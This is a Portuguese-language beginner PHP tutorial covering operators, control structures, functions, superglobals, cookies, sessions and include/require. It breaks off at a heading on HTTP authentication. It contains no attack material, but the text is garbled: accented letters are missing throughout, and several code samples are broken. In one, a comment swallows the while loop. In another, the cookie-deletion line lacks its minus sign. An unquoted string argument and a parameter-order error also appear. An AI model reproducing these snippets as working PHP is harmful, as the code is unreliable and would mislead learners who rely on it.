Documenti di Didattica
Documenti di Professioni
Documenti di Cultura
o O que PHP?
o Pra que serve o PHP?
o Como funciona o PHP?
o Dicas teis na hora de programar
o Variveis
o Operadores
o Exerccios
O que PHP?
PHP significa Personal Home Page ou Hypertext Preprocessor, uma linguagem de script
Open Source
E ela no precisa ser compilada, o PHP executado no servidor e processado na hora
que a pgina for executada.
Pra que serve o PHP?
Para o desenvolvimento de aplicaes Web ou sistemas intranet.
E o PHP conecta com diversos bancos de dados
O PHP tambm faz sistemas de controles statisticos, bate papos, frum, portais, enquetes,
blogs, entre outros sistemas conhecidos.
Como Funciona o PHP?
O PHP funciona sendo executado por um programa servidor web configurado com o PHP
como CGI ou filtro isapi e o PHP processa a pgina e envia apenas o resultado do
processo em HTML para o usurio
CGI - Commom Gateway Interface (Interface Comum de Gateway) uma interface
definida de maneira a possibilitar a execuo de programas sob um servidor
ISAPI uma DLL personalizada que est no mesmo espao de memria que o servidor
Web, e chamado pelo servidor da web em resposta a cada solicitao HTTP.
O PHP s interpretado dentro das tags simples <? ?> ou <?PHP ?> para suporte a XML
ou XHTML
O PHP tambm funciona com essas tag:
<script language = "php">
Cdigo...
</script>
e no final de cada linha voc precisa usar um ;( ponto e vrgula ) idntico linguagem C
echo() construtor da linguagem ele serve para exibir algo na tela e no obrigatrio usar
parnteses ().
Use ' ( Apstrofos ) para delimitar a string( textos ) do seu script exemplo:
<?PHP echo 'ola mundo'; ?>
Ou voc pode dar um echo nas tags HTML dentro do PHP exemplo:
<?php
echo "<b>PHP</b>";
?>
<?php
echo "<a href=\"link.html\">Link</a>";
?>
Variveis
As variveis no PHP so representadas por um cifro ($) seguido pelo nome da varivel.
Os nomes de varivel no PHP fazem distino entre maisculas e minsculas.
Um nome de varivel vlido se inicia com uma letra ou sublinhado
Atribuindo valores a uma varivel:
$teste = "testando";
$numero = 1234;
$teste2 = "testando 1234";
Operadores
Concatenando uma varivel
Concatenar significa juntar as variveis e no PHP usa-se o . ( ponto ) para juntar as
variveis
Exemplo:
$nome = "Joo "; <= reparem que tem um espao depois do nome isso feito para quando
juntar as variveis nome e sobrenome no ficar grudado JoaoSantos
$nome = "Joo ";
$sobrenome = "Santos";
$nome_completo = $nome.$sobrenome;
ou
$nome_completo = $nome;
$nome_completo .= $sobrenome;
Somando
$valor = 100;
$valor += 200;
ou
$valor = 200 + 100;
Subtraindo
$valor = 300;
$valor -= 100;
ou
$valor = 300 - 100;
Mutiplicando
$valor = 300;
$valor *= 100;
ou
$valor = 300 * 100;
Operadores Aritmticos
$a + $b Adio Soma de $a e $b.
$a - $b Subtrao Diferena entre $a e $b.
$a * $b Multiplicao Produto de $a e $b.
$a / $b Diviso Quociente de $a por $b.
$a % $b Mdulo Resto de $a dividido por $b
Operadores de comparao
$a == $b Igual Verdadeiro (TRUE) se $a igual a $b.
$a === $b Idntico Verdadeiro (TRUE) se $a igual a $b, e eles so do mesmo tipo
(somente para PHP4).
$a != $b Diferente Verdadeiro se $a no igual a $b.
$a <> $b Diferente Verdadeiro se $a no igual a $b.
$a !== $b No idntico Verdadeiro de $a no igual a $b, ou eles no so do mesmo tipo
(somente para o PHP4).
$a < $b Menor que Verdadeiro se $a estritamente menor que $b.
$a > $b Maior que Verdadeiro se $a estritamente maior que $b.
$a <= $b Menor ou igual Verdadeiro se $a menor ou igual a $b.
$a >= $b Maior ou igual Verdadeiro se $a maior ou igual a $b.
Operadores Lgicos
$a and $b E Verdadeiro (TRUE) se tanto $a quanto $b so verdadeiros.
$a or $b OU Verdadeiro se $a ou $b so verdadeiros.
$a xor $b XOR Verdadeiro se $a ou $b so verdadeiros, mas no ambos.
! $a NO Verdadeiro se $a no verdadeiro.
$a && $b E Verdadeiro se tanto $a quanto $b so verdadeiros.
$a || $b OU Verdadeiro se $a ou $b so verdadeiros.
Operadores de Incremento/Decremento
++$a Pr-incremento Incrementa $a em um, e ento retorna $a.
$a++ Ps-incremento Retorna $a, e ento incrementa $a em um.
--$a Pr-decremento Decrementa $a em um, e ento retorna $a.
$a-- Ps-decremento Retorna $a, e ento decrementa $a em um
Fim do primeiro mdulo
Protocolo de Comunicao
Um protocolo um conjunto de regras que administra procedimentos de troca de
informaes
HTTP
O HTTP (HyperText Transfer Protocol) surgiu em volta dos anos 90 no CERN (European
Center for high-Energy Physics) na Sua. Quem criou o HTTP foi um fisico ingls seu
nome era Tim Berner-Lee.
O Protocolo HTTP um protocolo de rede utilizado para entregar virtualmente todos os
arquivos e outros dados.
O HTTP responsvel pela maioria das transaes realizadas na Internet . O surgimento
do HTTP veio da necessidade de distribuio
de informaes na Internet, e para que essas transferncias fossem possveis houve a
necessidade de criar um padro de comunicao
entre clientes e os servidores Web, ou seja, de que forma seria feita as requisies de
dados e como seriam aceitas e respondidas
pelos servidores de recursos na Internet.
TCP/IP
O TCP/IP (Protocolo de Controle de Transmisso/Internet Protocol) (TCP) Tem como
funo deixar confivel a transferncia de informao
(IP) recebe ou envia pacotes individuais de informaes e os envia ao seu destino certo. O
TCP/IP cria a conetividade entre navegadores e servidores, a Web tambm utiliza seu
prprio protocolo o HTTP para troca de informaes entre clientes e servidores. O HTTP
utilizado pelos clientes para requisies de documentos ou servios dos servidores e o
HTTP funciona com a conexo TCP/IP (sockets TCP/IP).
HTML (HyperText Markup Language) ou Linguagem de marcao de Hiper Textos
estabelece o contedo de um documento hipertexto conforme a World Web Consortium
(W3C).
URL,URI,URN
URL (Uniform Resource Locator), URI (Uniform Resource Identifier) URN (Uniform
Resource Name)
URI uma forma generalizada para se referir a um recurso: um recurso inclui um URL e
um URN, ou seja, URN se refere ao nome do recurso em si
por exemplo um arquivo e a URL se refere localizao desse recurso, e ambos formam
um URI: a identificao uniforme de um mes recurso
XHTML e XML
XHTML considerado o futuro do HTML e uma forma de transio para XML. XHTML
possui elementos de formatao da HTML 4.01, mas possui alguma regras definidas pela
XML. XML um padro para descrio de dados, ao passo que HTML se limita
descrio de contedo.
XML
XML (Extensible Markup Language) permite que voc crie seus prprios conjuntos de
elementos de marcao, o XML torna possvel a a estruturao dos dados
GET
O GET o mtodo padro para recuperar ou requisitar um recurso por meio do protocolo
HTTP. O GET solicita ao servidor para que encontre e retorne qualquer dado que estiver
identificado pelo URI. Se o URI apontar para um arquivo, o servidor dever retornar o
arquivo(um recurso esttico), se apontar para um script.
POST
A requisio por meio do mtodo POST utilizada para enviar dados ao servidor para
serem processados e trabalhados de alguma forma de
programa. O uso mais comum do mtodo POST submeter um formulrio de dados,
nesse caso o cabealho Content-Type muitas veses possui a descrio application/x-wwwform-urlencoded e o cabealho Content-Length fornece o comprimento dos dados do
formulrio codificado na URL.
O mtodo GET tambm pode ser utilizado para submeter e enviar dados de um formulrio,
mas esses dados sero codificados na URL e anexados URI.
O mtodo POST oferece maior segurana em relao aos dados transferidos, pois os
dados faro parte do corpo da mensagem, enquanto no GET os dados sero anexados
URL, ficando a mostra para o usurio, podendo ser alterados facilmente antes de serem
enviados.
Variveis variveis
Variveis so os nomes de variveis que podem ser criadas e utilizadas dinamicamente.
Uma varivel normal criada numa instruo como:
PHP
<?php
$a = "Ola";
?>
Uma varivel pega o valor de uma varivel e a trata com o nome de uma varivel. No
exemplo acima, hello pode ser utilizada como o
nome de uma varivel utilizando dois sinais de cifro:
PHP
<?php
$a = "Ola";
$$a = "Usuarios";
echo "$a $Ola";
?>
Estruturas de Controle
O que so estruturas de controle?
So contrues da linguagem que permitem que voc controle o fluxo do seu
programa...nmero de vezes que ele ser executado...como e quando ele ser
desviado...enfim as estruturas de controle esto entre as mais importantes
implementaes das linguagens de programao, incluindo o PHP...
As estruturas de linguagem implementadas no PHP so:
if;
else;
elseif;
while;
do.. while;
for;
foreach;
break;
continue;
switch;
If com certeza uma das mais importantes estruturas de controle do PHP. Ela permite a
execuo condicional de um pedao do seu cdigo... A sintaxe da mesma a seguinte:
if(expresso){
instrues...
}
Sendo que a expresso aquilo que ser testado pelo if.
Ex:
Suponha que voc queira verificar se o usurio digitou mesmo um determinado nmero,
10 por exempo.
PHP
<?php
$numero = $_POST["numero"];
if($numero == 10)
{
echo "Parabns voc digitou o nmero correto";
}
?>
Note que nesse exemplo as chaves poderiam ser omitidas e no teriamos problemas de
sintaxe, pois temos apenas uma instruo abaixo o if...
Caso tivessemos mais, a sim seria obrigatrio, mas por questo de organizao e
legibilidade costumo colocar sempre.
O if retorna um valor boleano, ou true caso a condio seja verdadeira, ou false caso a
condio falhe...Digamos que nosso programa seja apenas isso e se o usurio digitar
qualquer valor diferente de 10, nada seria mostrado na tela.
Mas geralmente voc vai querer excecutar uma instruo para quando o teste do if for
false. a que entra o else "seno". Ele permite instruir ao script para executar um outro
fragmento de cdigo caso o if de false...
ex:
PHP
<?php
$numero = $_POST["numero"];
if($numero == 10)
{
echo "Parabns voc digitou o numero correto";
}
else
{
echo "Pena voc entrou com um valor diferente de 10";
}
?>
Elseif
Elseif, como seu nome sugere, uma combinao de if e else.
Ele permite um poder de deciso maior ao seu script, pois se o teste 1 falhar ele tentar
executar o segundo e assim por diante, segue um exemplo clssico de seu uso...
PHP
<?php
if ($a > $b)
{
echo "a maior que b";
}
elseif ($a == $b)
{
echo "a igual a b";
}
else
{
echo "a menor que b";
}
?>
Dica: sempre que abrir uma chave "{" feche logo em seguida "}" para evitar esqueer de
fazer isso mais tarde...
while
Loops while so o tipo mais simples de criar um 'loop' em PHP. O formato bsico de um
comando while :
while (expressao) instrues
O significado de um comando while simples. Ele pede que o PHP execute os comandos
aninhados repetidamente, enquanto a expresso do while avaliada como TRUE. O valor
da expresso verificada cada vez que se passa no comeo do 'loop', desta forma,
mesmo que este valor mude durante a execuo do(s) comando(s) aninhado(s), a
execuo no parar at que o fim da iterao (cada vez que o PHP executa os comandos
dentro do 'loop' uma iterao). s vezes, se a expresso while for avaliada como FALSE
logo no incio, o(s) comando(s) aninhado(s) no ser(o) rodado(s) nem uma vez sequer.
Como no comando if, voc pode agrupar mltiplos comandos dentro do mesmo lao while
englobando um grupo de instrues com chaves, ou usando a sintaxe alternativa:
while (expressao)
{
instrucoes ...
}
Para ficar mais claro de entender, vamos montar um script que escreva os nmeros de 1 a
10 um abaixo do outro, ok?
PHP
<?php
$i = 1; // $i ser nosso controlador ele dir quantas vezes o script ser executado, nesse
caso 10...while ($i <= 10) {echo $i++; // nesse caso ser mostrado o valor e logo aps ser
adicionado mais uma ao seu valor}?>
do..while
Loops do while so bem similares aos loops while, exceto pelo fato de que a condio
verificada no fim de cada iterao em vez de no comeo.
H apenas uma sintaxe para loops do..while:
PHP
<?php
$i = 0;
do
{
echo $i++;
}
while ($i > 10);
?>
Note que nessa estrutura o comando sempre ser executado ao menos uma vez...
pos a condio verificado apenas no final, ou seja aps a primeira interao...
for
Loops for so os laos mais complexos em PHP, pois no mesmo corpo voc inicia a
varivel de controle, diz at quando ser executada, e faz o incremento, ou decremento
dependendo do caso. Sua sitaxe a seguinte...
for (expr1; expr2; expr3) {
instrucoes
}
Vamos ao nosso exemplo que imprime os nmeros de 1 a 10, mas dessa vez vamos nos
aventurar mais, vamos montar a tabuada do 10, rs...Super til...
PHP
<?php
for ($i = 1; $i <= 10; $i++)
{
echo $i . "X" . 10 . "=" . $i*10 . "<br>";
}
?>
Vamos a outro exemplo espetacular. Lembra dos simpsons onde o pobre barth sempre
fica de castigo escrevendo 500 vezes algo no quadro negro? Se ele soubesse php seria
muito mais simples...
PHP
<?php
for ($i = 1; $i <= 500; $i++)
{
echo "Eu sou um bom aluno <br>";
}
?>
foreach
Esse construtor da lingagem oferece uma maneira fcil de trabalhar com matrizes "arrays".
Foreach funciona somente com arrays, e lanar um erro se tentar utiliz-lo em uma
varivel de qualquer tipo diferente ou vamos a um exemplo de seu uso.
PHP
foreach (expressao_array as $chave => $valor){ instrucoes }
PHP
<?php
/* exemplo foreach 1: somente valores */
$a = array(1, 2, 3, 17);
foreach ($a as $v) {
echo "Valor atual de \$a: $v.\n";
}
/* exemplo foreach 2: valores (com as chaves impressas para ilustrao) */
$a = array(1, 2, 3, 17);
$i = 0; /* para exemplo somente */
foreach ($a as $v) {
echo "\$a[$i] => $v.\n";
$i++;
}
/* exemplo foreach 3: chaves e valores */
$a = array (
"um" => 1,
"dois" => 2,
"trs" => 3,
"dezessete" => 17
);
foreach ($a as $k => $v) {
echo "\$a[$k] => $v.\n";
}
/* exemplo foreach 4: arrays multidimensionais */
$a[0][0] = "a";
$a[0][1] = "b";
$a[1][0] = "y";
$a[1][1] = "z";
foreach ($a as $v1) {
foreach ($v1 as $v2) {
echo "$v2\n";
}
}
/* exemplo foreach 5: arrays dinmicos */
Funes
O que uma funo?
Funes so responsveis por realizar uma ou mais tarefas definidas ou no pelo
programador. No entendeu? Ok.
Suponhamos que dentro de um script PHP, voc ir usar uma mesma expresso
matemtica vrias vezes, ex:
echo 10+(5*6)/14-2;
echo 10+(5*3)/14-2;
echo 10+(5*2)/14-2;
Obs.: No echo() no necessrio o uso de parnteses.
Repare que a nica coisa que mudou foi o nmero multiplicado (6,3,2), mas seria muito
mais fcil se crissemos uma funo pra isso. Ficaria algo como:
function expressao($valor) {
echo 10+(5* $valor)/14-2;
}
Expresses
Ento como ficariam as expresses? Simples:
expressao(6);
expresso(3);
expresso(2);
Como so definidas as funes?
Uma funo definida usando a palavra function, seguido pelo nome da funo e por
parntese:
function nomeFuncao()
Em funes podem ser usadas tanto letras minsculas como maisculas. Podem ser
usados tambm underlines e nmeros (no caso de nmeros, no como primeiro caracter).
Errado: function 2quebraLinha() {
Errado: function quebraLinha@() {
Voc tambm pode usar variveis dentro dos parnteses. Estas devem ser separadas por
vrgulas, as variveis definidas aqui s podero ser usadas dentro das funes, elas
podero ter um valor definido. Quando for usar a funo, se voc definir um valor no local
da varivel, o valor padro ser perdido, e o novo valor ser dado quela varivel.
Um exemplo:
function mostraValor($variavel= 'padro') {
echo $variavel;
}
Nesse caso a string padro foi definida padro para a varivel $variavel. Se voc usar a
funo sem definir nenhum argumento, ela ir mostrar o texto padro, no caso padro:
mostraValor();
Mas se voc colocar um outro valor dentro dos parnteses no uso da funo, o valor novo
definido ser mostrado:
mostraValor(Novo texto aqui);
Ir mostrar Novo texto aqui.
A mesma coisa vale para mais argumentos definidos:
function mostraValor($valor=padro,$segundoValor) {
Depois dos parnteses ser usando chaves e toda definio da funo dever estar dentro
dela:
function mostraValor($valor=padro) {
// Aqui os parmetros da funo
}
Return
O que return?
return palavra usada pra retornar algum valor da funo para uma nova varivel definida,
como exemplo, vamos voltar primeira expresso matemtica: Se voc no quisesse
mostrar as expresses e sim guardar os resultados em variveis, voc poderia usar uma
funo parecida com essa:
function expressao($valor) {
$novoValor = 10+(5* $valor)/14-2;
return $novoValor;
}
Assim, uma nova varivel poderia receber o resultado. Seguindo os exemplos anteriores,
ficaria assim:
$exp1 = expressao(6);
$exp2 = expressao(3);
$exp3 = expressao(2);
O uso do "return" significa o fim da funo, tudo que for usado aps o return er perdido.
Obs.: S quero ressaltar que na funo podem ser usados variveis de qualquer tipo,
inteiros, strings, boolean, arrays, etc, os valores retornadas (com o return) seguem a
mesma regra.
Fim.
Variveis Predefinidas
Escopo de variveis
Cookies
Sessions
Variveis Predefinidas
$GLOBALS
Contm um referncia para todas as variveis que so atualmente disponveis dentro do
escopo global do script. As chaves desse array so os nomes das variveis globais.
$GLOBALS existe desde o PHP 3.
$_GET
Variveis postadas para o script via mtodo HTTP GET. Anlogo ao antigo
array $HTTP_GET_VARS(que ainda continua disponvel, mas em decadncia).
$_POST
Variveis postadas para o script via mtodo HTTP POST. Anlogo ao antigo
array$HTTP_POST_VARS (que ainda continua disponvel, mas em decadncia).
$_COOKIE
Variveis postadas para o script via cookies HTTP. Anlogo ao antigo
array $HTTP_COOKIE_VARS(que ainda continua disponvel, mas em decadncia).
$_FILES
Variveis postadas para o script via transferncia de arquivos HTTP. Anlogo ao antigo
array$HTTP_POST_FILES (que ainda continua disponvel, mas em decadncia).
Veja uploads via mtodo POST para maiores informaes.
$_ENV
Variveis disponveis no script do ambiente de execuo. Anlogo ao antigo array
$HTTP_ENV_VARS (que ainda continua disponvel, mas em decadncia).
$_REQUEST
Variveis postadas para o script por todas os mecanismos de input GET, POST, e
COOKIE no podem ter seu contedo garantido de qualquer forma.
A presena e a ordem de incluso das variveis nesse array definida de acordo com a
diretiva de configurao variables_order. Este array no tem um equivalente nas verses
anteriores do PHP 4.1.0. Veja tambm import_request_variables().
$_SESSION
Variveis que esto atualmente registradas na sesso do script. Anlogo ao antigo array
$HTTP_SESSION_VARS (que ainda continua disponvel, mas em decadncia).
Veja a sesso funes de manipulao de Sesses para maiores informaes.
$_SERVER
PHP_SELF
O nome do arquivo do script atualmente em uso, relativo ao document root. Por exemplo,
$_SERVER['PHP_SELF'] em um script com o endereo
http://example.com/test.php/foo.bar pode ser /test.php/foo.bar. A constante __FILE__
contm o caminho completo e nome do arquivo (mesmo includo) atual.
Se estiver rodando o PHP em linha de comando, esta varivel no est disponvel.
argv
Array de argumentos passado para o script. Quando o script executado na linha de
comando, isto permite um acesso aos parmetros de linha de comando no estilo do C.
Quando chamado via mtodo GET, ele conter a query string.
argc
Contm o nmero de parmetros da linha de comando passados para o script (se
executando da linha de comando).
GATEWAY_INTERFACE
O nmero de reviso da especificao CGI que o servidor est utilizando, por exemplo :
'CGI/1.1'.
SERVER_NAME
O nome host do servidor onde o script atual executado. Se o script est rodando em um
host virtual, este ser o valor definido para aquele host virtual.
SERVER_SOFTWARE
A string de identificao do servidor, fornecida nos headers quando respondendo a
requests.
SERVER_PROTOCOL
Nome e nmero de reviso do protocolo de informao pelo qual a pgina foi requerida,
por exemplo 'HTTP/1.0';
REQUEST_METHOD
Contm o mtodo de request utilizando para acessar a pgina. Geralmente 'GET', 'HEAD',
'POST' ou 'PUT'.
QUERY_STRING
A query string (string de solicitao), se houver, pela qual a pgina foi acessada.
DOCUMENT_ROOT
O diretrio raiz sob onde o script atual executado, como definido no arquivos de
configurao do servidor.
HTTP_ACCEPT
O contedo do header Accept: da requisio atual, se houver.
HTTP_ACCEPT_CHARSET
O contedo do header Accept-Charset: da requisio atual, se houver. Exemplo: 'iso-88591,*,utf-8'.
HTTP_ACCEPT_ENCODING
O contedo do header Accept-Encoding: da requisio atual, se houver. Exemplo: 'gzip'.
HTTP_ACCEPT_LANGUAGE
O contedo do header Accept-Language: da requisio atual, se houver. Exemplo 'en'.
HTTP_CONNECTION
O contedo do header Connection: da requisio atual, se houver. Exemplo: 'Keep-Alive'.
HTTP_HOST
O contedo do header Host: da requisio atual, se houver.
HTTP_REFERER
O endereo da pgina (se houver) atravs da qual o agente do usurio acessou a pgina
atual. Essa diretiva informada pelo agente do usurio.
Nem todos os browsers geram esse header, e alguns ainda possuem a habilidade de
modificar o contedo do HTTP_REFERER como recurso. Em poucas palavras, no
confivel.
HTTP_USER_AGENT
O contedo do header User-Agent: da requisio atual, se houver. uma string denotando
o agente de usurio pelo qual a pgina acessada.
Um exemplo tpico : Mozilla/4.5 [en] (X11; U; Linux 2.2.9 i586). Alm de outras coisas,
voc pode utilizar este valor com get_browser() para personalizar a gerao de suas
pginas para as capacidades do agente do usurio.
REMOTE_ADDR
O endereo IP de onde o usurio est visualizado a pgina atual.
REMOTE_HOST
O nome do host que o usurio utilizou para chamar a pgina atual. O DNS reverso
(lookup) do REMOTE_ADDR do usurio.
Nota: Seu servidor web precisa estar configurado para criar essa varivel. Por exemplo, no
Apache voc precisa colocar um HostnameLookups On
dentro do httpd.conf. Veja tambm gethostbyaddr().
REMOTE_PORT
A porta TCP na mquina do usurio utilizada para comunicao com o servidor web.
SCRIPT_FILENAME
O caminho absoluto o script atualmente em execuo.
Nota: Se o script for executado pela CLI com um caminho relativo, como file.php ou
../file.php, $_SERVER['SCRIPT_FILENAME'] ir conter o caminho relativo especificado
pelo usurio.
SERVER_ADMIN
O valor fornecido pela diretiva SERVER_ADMIN (do Apache) no arquivo de configurao
do servidor. Se o script est sendo executado em um host virtual, este ser os valor
definido para aquele host virtual.
SERVER_PORT
A porta na mquina servidora utilizada pelo servidor web para comunicao. Como default,
este valor '80'. Utilizando SSL, entretanto, mudar esse valor para a porta de
comunicao segura HTTP.
SERVER_SIGNATURE
String contendo a verso do servidor e nome do host virtual que adicionado s pginas
geradas no servidor, se ativa.
PATH_TRANSLATED
O caminho real do script relativo ao sistema de arquivos (no o document root), depois
realizou todos os mapeamentos de caminhos (virtual-to-real).
Nota: A partir do PHP 4.3.2, PATH_TRANSLATED no mais existe implicitamente sob a
SAPI do Apache 2, ao contrrio da mesma situao no Apache 1, onde ela tinha o mesmo
valor da varivel de servidor SCRIPT_FILENAME, quando a mesma no era configurada
pelo Apache. Essa mudana foi realizada para conformidade com a especificao CGI,
onde PATH_TRANSLATED deve existir somente se PATH_INFO estiver definida.
Apache 2 users may use AcceptPathInfo = On inside httpd.conf to define PATH_INFO.
SCRIPT_NAME
Contm o caminho completo do script atual. til para pginas que precisam apontar para
elas mesmas (dinamicamente). A constante __FILE__ contm o caminho completo e nome
do arquivo (mesmo includo) atual.
REQUEST_URI
O URI fornecido para acessar a pgina atual, por exemplo, '/index.html'.
PHP_AUTH_USER
Quando executando sob o Apache como mdulo e fazendo autenticao HTTP, esta
varivel estar definida com o username fornecido pelo usurio.
PHP_AUTH_PW
Quando executando sob o Apache como mdulo e fazendo autenticao HTTP, esta
varivel estar definida com a senha fornecida pelo usurio.
AUTH_TYPE
Quando executando sob o Apache como mdulo e fazendo autenticao HTTP, esta
varivel estar definida com o tipo de autenticao utilizado.
Esta uma varivel 'superglobal', ou automaticamente global. Isto significa que ela
disponvel em todos os escopos (nveis) de um script.
Voc no precisa fazer um global $_SERVER; para pode acess-la dentro de funes ou
mtodos, como era necessrio com $HTTP_SERVER_VARS.
Escopo de variveis
Quando uma varivel usada dentro de uma funo, pode haver uma outra varivel com o
mesmo nome que utilizada em outra funo ou no cdigo do programa principal. So
espaos de memria diferentes, e cada uma funciona dentro do seu contexto, ou seja, a
varivel definida dentro de uma funo s pode ser acessada ali dentro. Fora dali seu valor
no acessvel em nenhuma outra parte do programa, mas possvel usar dentro de uma
funo o valor de uma varivel existente tambm no programa principal, tem dois jeitos
para isso:
Defini-la como global no inicio da funo ou utilizar o array predefinido $GLOBALS, que
utiliza os nomes das variveis como associativa
Exemplo:
PHP
<?php
$num = 1500;
function escopo()
{
global $num;
$num += 5;
echo $num."<br>";
}
echo $num."<br>";
escopo();
?>
Cookies
O famoso cookie que ns conhecemos hoje foi criado em junho de 1994
Antigamente cada visita a um site era como se fosse a primeira visita, sem forma
automtica de se saber se um usurio j esteve ali, ou que pginas havia consultado.
Qualquer transao comercial tinha que ser feita do incio ao fim em uma s visita, e os
visitantes tinham que passar pelas mesmas pginas vezes seguidas ,era como visitar uma
loja onde o vendedor tinha amnsia.
O criador do cookie chama-se Lou Montulli, ele foi o nono funcionario a ser contratado por
uma empresa que logo depois se tornaria a Netscape Communications, Montulli era um
hacker, mas naquele tempo o nome hacker era usado no bom sentido quando uma pessoa
entendia muito de computadores. Quando ele teve a ideia de inventar o cookie a soluo
encontrada era que cada computador de site da Web colocasse um pequeno arquivo na
mquina de cada visitante, que acompanhasse seus passos dentro do site visitado.
Montulli chamou essa nova tecnologia de "objeto do estado de cliente persistente, mas ele
tinha um nome mais charmoso em mente, um do incio da computao. Naquela poca, as
mquinas trocavam pedaos de informao para propsitos de identificao e os primeiros
programadores chamaram os dados trocados de "magic cookies", biscoitos mgicos.
Montulli chamou sua inveno, descendente direta desses, de "cookie", biscoito.
Foi um marco na histria da computao: de um s golpe, os cookies mudaram a Web,
que passou de um lugar de visitas descontnuas para um ambiente rico, no qual comprar,
brincar e at viver, para alguns.
Fundamentalmente, os cookies alteraram a natureza da navegao pela Web. Ela passou
de uma atividade relativamente annima, como caminhar pelas ruas de uma metrpole,
para um ambiente onde os registros das transaes, movimentos e at desejos podem ser
armazenados, avaliados, minados e vendidos.
Graas aos cookies, um cliente que faz uma compra em um site pode abandonar seu
carrinho de compras antes de finalizar a compra e voltar mais tarde ao site, que perguntar
se ele deseja fazer seu pedido.
Os cookies tambm permitem aos sites mostrarem anncios diretamente ligados s partes
do site visitadas pelo navegador. Assim, algum visitando um site orientado para a sade
que l informaes sobre drogas para diabetes poder ver um anncio de nova medicao
para a doena.
Todas essas funes podem ser feitas sem o conhecimento do nome do visitante, porque
o identificador annimo e nico includo no cookie, suficiente. Mas, se um proprietrio de
site da Web combinar esse identificador com informaes pessoais do visitante, do
momento de sua inscrio no site, por exemplo, ento o cookie se torna um mecanismo
poderoso de monitoramento individual.
O php usa a funo setcookie para enviar o cookie para o usurio essa funo tambm
usada para excluir o prprio cookie, exemplo de criao de um cookie:
setcookie("nome_do_cookie", "valor_do_cookie", "tempo de expirao");
No tempo de expirao voc pode usar a funo time() + os segundos veja exemplo:
PHP
<?
setcookie("cookie", "teste", time() + 3600);
?>
Esse cookie tem uma validade de 1 hora:
PHP
<?
setcookie("cookie", "teste", time() + 3600*24*365);
?>
Esse cookie tem validade de um ano
3600 segundos = 1 hora
3600 segundos vezes 24 horas
24 horas vezes 365 dias
Para excluir um cookie basta fazer a mesmo sistema que criar ele, mas usando um prazo
de expirao negativa.
PHP
<?
setcookie("cookie", "teste", time() 3600*24*365);
?>
Veja acima o cookie que tinha validade de um ano ser excludo pq foi passado que o
tempo dele agora de um ano atrs, ou seja, j acabou.
Sessions
Uma sesso (session) um perodo de tempo durante o qual uma pessoa navega num
site.
Uma sesso gravada no servidor, e o tempo de durao de uma sesso pode ser ate o
usurio fechar a pgina.
Quando o usurio entra no site criamos uma sesso e ela recebe um nmero identificador
nico, chamado de session_id, para uma pagina ter o acesso aos dados da sesso ela
tem que ter esse nmero identificador.
Para criar uma sesso sempre se utiliza session_start() e antes de qualquer sada html.
Exemplo:
PHP
<?
session_start();
$_SESSION["teste"] = 1;
?>
Foi criado uma sesso com o nome se teste e valor 1
E nas paginas seguintes voc pode restaurar esse valor assim:
PHP
<?
session_start();
echo $_SESSION["teste"];
?>
Voc pode usar session_register() para registrar suas variveis, no caso, o nome da
varivel na sesso ser a mesma do nome da varivel gravado, exemplo:
PHP
$linguagem = "PHP";
session_register("linguagem");
Nesse caso foi gravada a varivel $linguagem na varivel de sesso linguagem, eis a
vantagem de se usar $_SESSION que recomendado a partir da verso 4.1, j que voc
poder definir o nome da varivel na sesso.
Obs.: session_register trabalha com register_globals on, e como est em extino o uso
em on, sempre recomendado ento usar $_SESSION, alis, as facilidades so muito
maiores, j que voc trabalhar com elas como uma varivel normal.
Onde posso usar sesses?
Na verdade, as sesses so geralmente usadas pra criar lojas virtuais e sistemas de login,
onde o usurio entrar com usurio e senha em um formulrio. Buscar no banco de
dados (ou o que estiver usando com um) e se achar algum usurio gravar na sesso uma
identificao que dir que ele j foi logado. Isso somente durar at o fechamento do
browser. Logo, grande parte dos websites ainda usam cookies por esse motivo. At hoje, a
nica maneira de voc sair de um site, entrar mais tarde e tudo estar do jeito que voc via
antes usando os cookies.
require()
A instruo require() inclui a avalia um arquivo especfico.
require() e include() so idnticos em todas as formas exceto pela manipulao de erros.
include() produz um Warning enquanto require() produzir um Fatal Error. Em outras palavras,
no hesite em utilizar require() se na falta de um arquivo quiser parar o processamento da
pgina. include() no se comporta da mesma maneira, e o script poder continuar nessa
situao. Em todo caso, vale a pena confirmar a configurao da diretiva include_path.
PHP
1. <?php
2. require 'prepend.php';
3. require $somefile;
4. require ('somefile.txt');
5. ?>
include()
A instruo include() inclui e avalia o arquivo informado.
A documentao a seguir se aplica tambm a require(). Esses dois construtores so idnticos a
exceo de como eles manipulam erros. include() produz um Warning enquanto require()
produzir um Fatal Error. Em outras palavras, utilize require() se voc deseja que um arquivo
faltando interrompa o processamento da pgina. include() no se comporta da mesma
maneira, permitindo que o script continue nessas situaes. Em todo caso, vale a pena
confirmar a configurao da diretiva include_path. Esteja avisado que um erro de
interpretao no arquivo includo no causa o cancelamento do processamento.
Arquivos a incluir so procurados primeiramente no include_path relativo ao diretrio atual de
trabalho e depois no include_path relativo ao diretrio atual do script. Por exemplo, se seu
incluide_path ., o diretrio atual /www/, se voc incluiu include/a.php e h um b.php nesse
frutas.php
<?php
echo "Uma $fruta $cor"; // ira mostrar "Uma" e um notice que nao existe as variaveis $fruta e
$cor
include 'vars.php';//inclue a pagina
echo "Uma $fruta $cor"; // ira mostrar "Uma ma verde"
?>
require_once()
A instruo require_once() inclu e avalia o arquivo especificado durante a execuo do script.
Seu comportamento similar ao da instruo require(), a no ser que o arquivo informado j
tenha sido includo, no refazendo a operao novamente. Veja a documentao de require()
para maiores informaes sobre como essa instruo funciona.
require_once() pode ser utilizado nos casos em que o mesmo arquivo pode acabar sendo
includo mais de uma vez durante a execuo de um script em particular, quando na verdade
ele s pode ser includo apenas uma, para evitar problemas com redefinies de funes,
alteraes nos valores de variveis, etc.
<?php<br />require_once("a.php"); // isto ir incluir a.phprequire_once("A.php"); // isto ir
incluir a.php de novo no Windows!?>
include_once()
A instruo include_once() inclui e avalia o arquivo especificado durante a execuo de um
script. Seu comportamento similar a instruo include(), a no ser que o arquivo informado
j tenha sido includo, no refazendo a operao novamente. Como o nome sugere, ele ser
includo apenas uma vez.
include_once() pode ser utilizado nos casos em que o mesmo arquivo pode acabar sendo
includo mais de uma vez durante a execuo de um script em particular, quando na verdade
ele s pode ser includo apenas uma para evitar problemas com redefinies de funes,
alteraes nos valores de variveis, etc.
Para maiores informaes utilizando require_once() e include_once(), veja o cdigo do PEAR
includo nas ltimas distribuies do cdigo fonte do PHP.
<?php<br />include_once("a.php");<br /> // isto ir incluir a.phpinclude_once("A.php"); // isto
ir incluir a.php de novo no Windows!?>
Autenticao HTTP com PHP
